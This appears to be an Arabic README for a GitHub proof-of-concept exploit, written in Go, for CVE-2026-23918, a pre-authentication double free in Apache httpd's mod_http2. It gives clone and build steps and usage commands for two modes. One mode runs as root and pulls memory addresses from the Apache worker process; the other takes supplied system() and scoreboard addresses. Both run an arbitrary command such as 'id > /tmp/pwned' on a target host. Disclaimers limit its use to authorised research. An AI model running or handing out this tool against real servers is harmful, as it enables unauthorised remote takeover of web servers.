
تحرير مزدوج في تنظيف تيار mod_http2 في Apache httpd مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد قبل المصادقة
يحتوي هذا المستودع على تنفيذ إثبات المفهوم مكتوب بلغة Go لسيناريو تلف الذاكرة قبل المصادقة يؤثر على Apache httpd مع mod_http2. يوضح الكود في هذا المستودع نهج الرش والتحفيز ضد هدف ضعيف وهو مخصص لأبحاث الأمن المصرح بها والاختبار والتحليل الدفاعي.
يركز المشروع على إثبات مفهوم لاستغلال CVE-2026-23918 ويوفر تنفيذًا في ملف واحد في exploit_poc.go. يقوم البرنامج بما يلي:
هذا المستودع ليس مخصصًا للاستخدام غير المصرح به ضد أنظمة طرف ثالث.
قبل بناء أو تشغيل إثبات المفهوم، تأكد من توفر ما يلي:
قم ببناء الثنائي باستخدام الأمر التالي:
git clone https://github.com/gagaltotal/CVE-2026-23918-Double-free-Apache-httpd-mod_http2
cd CVE-2026-23918-Double-free-Apache-httpd-mod_http2
go mod init CVE-2026-23918-Double-free-Apache-httpd-mod_http2
go mod tidy
go run exploit_poc.go
go build -o exploit exploit_poc.go
ينتج عن هذا ملف قابل للتنفيذ باسم exploit في جذر المشروع.


يدعم إثبات المفهوم وضعين للتشغيل:
يتطلب هذا الوضع صلاحيات الجذر ويستخرج تلقائيًا عناوين الذاكرة المطلوبة من عملية العامل Apache المستهدفة.
sudo ./exploit \
--pid 1234 \
--host 192.168.1.100 \
--port 443 \
--cmd "id > /tmp/pwned"
يتطلب هذا الوضع تقديم عناوين دالة system وفتحة طلب لوحة النتائج يدويًا.
./exploit \
--host 192.168.1.100 \
--port 443 \
--system 0x7f1234567890 \
--scoreboard 0x7f1234000000 \
--cmd "id > /tmp/pwned"
الخيارات الرئيسية هي:
--host - اسم المضيف المستهدف أو عنوان IP--port - المنفذ المستهدف (الافتراضي: 443)--workers - عدد خيوط عمل الرش (الافتراضي: 32)--cmd - الأمر المراد تنفيذه على الهدف--pid - معرف عملية عامل Apache لاستخراج عنوان الذاكرة التلقائي--system - عنوان رمز system في الوضع اليدوي--scoreboard - عنوان فتحة طلب لوحة النتائج في الوضع اليدويsudo ./exploit --pid 1234 --host 10.0.0.20 --cmd "whoami"
./exploit \
--host 10.0.0.20 \
--system 0x7f1234567890 \
--scoreboard 0x7f1234000000 \
--cmd "uname -a"
يتم توفير هذا المستودع للأغراض التعليمية وتقييم الأمن الدفاعي. أي استخدام خارج بيئة خاضعة للرقابة ومصرح بها غير مشجع وقد ينتهك القوانين أو السياسات المعمول بها.